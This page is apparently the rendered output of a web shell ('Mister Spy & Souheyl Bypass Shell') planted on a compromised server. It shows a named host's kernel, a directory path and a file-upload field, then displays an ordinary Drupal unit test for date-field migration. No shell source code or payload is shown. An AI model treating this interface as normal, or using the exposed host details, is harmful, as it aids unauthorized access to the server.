Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html1/bbp/web/core/modules/datetime/tests/src/Unit/Plugin/migrate/field/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html1/bbp/web/core/modules/datetime/tests/src/Unit/Plugin/migrate/field/DateFieldTest.php

<?php

namespace Drupal\Tests\datetime\Unit\Plugin\migrate\field;

use Drupal\datetime\Plugin\migrate\field\DateField;
use Drupal\migrate\MigrateException;
use Drupal\Tests\UnitTestCase;

/**
 * Provides unit tests for the DateField Plugin.
 *
 * @coversDefaultClass \Drupal\datetime\Plugin\migrate\field\DateField
 *
 * @group migrate
 */
class DateFieldTest extends UnitTestCase {

  /**
   * Tests defineValueProcessPipeline.
   *
   * @covers ::defineValueProcessPipeline
   *
   * @dataProvider providerTestDefineValueProcessPipeline
   */
  public function testDefineValueProcessPipeline($data, $from_format, $to_format) {
    $migration = $this->createMock('Drupal\migrate\Plugin\MigrationInterface');
    $migration->expects($this->once())
      ->method('mergeProcessOfProperty')
      ->with('field_date', [
        'plugin' => 'sub_process',
        'source' => 'field_date',
        'process' => [
          'value' => [
            'plugin' => 'format_date',
            'from_format' => $from_format,
            'to_format' => $to_format,
            'source' => 'value',
          ],
        ],
      ])
      ->will($this->returnValue($migration));

    $plugin = new DateField([], '', []);
    $plugin->defineValueProcessPipeline($migration, 'field_date', $data);
  }

  /**
   * Provides data for testDefineValueProcessPipeline().
   */
  public function providerTestDefineValueProcessPipeline() {
    return [
      [['type' => 'date'], 'Y-m-d\TH:i:s', 'Y-m-d\TH:i:s'],
      [['type' => 'datestamp'], 'U', 'U'],
      [['type' => 'datetime'], 'Y-m-d H:i:s', 'Y-m-d\TH:i:s'],
      [
        [
          'type' => 'datetime',
          'field_definition' => [
            'data' => serialize([
              'settings' => [
                'granularity' => [
                  'hour' => 0,
                  'minute' => 0,
                  'second' => 0,
                ],
              ],
            ]),
          ],
        ],
        'Y-m-d H:i:s',
        'Y-m-d',
      ],
      [
        [
          'type' => 'date',
          'field_definition' => [
            'data' => serialize([
              'settings' => [
                'granularity' => [
                  0 => 'year',
                  1 => 'month',
                ],
              ],
            ]),
          ],
        ],
        'Y-m-d\TH:i:s',
        'Y-m-d',
      ],
    ];
  }

  /**
   * Tests invalid date types throw an exception.
   *
   * @covers ::defineValueProcessPipeline
   */
  public function testDefineValueProcessPipelineException() {
    $migration = $this->createMock('Drupal\migrate\Plugin\MigrationInterface');

    $plugin = new DateField([], '', []);

    $this->expectException(MigrateException::class);

    $plugin->defineValueProcessPipeline($migration, 'field_date', ['type' => 'totoro']);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net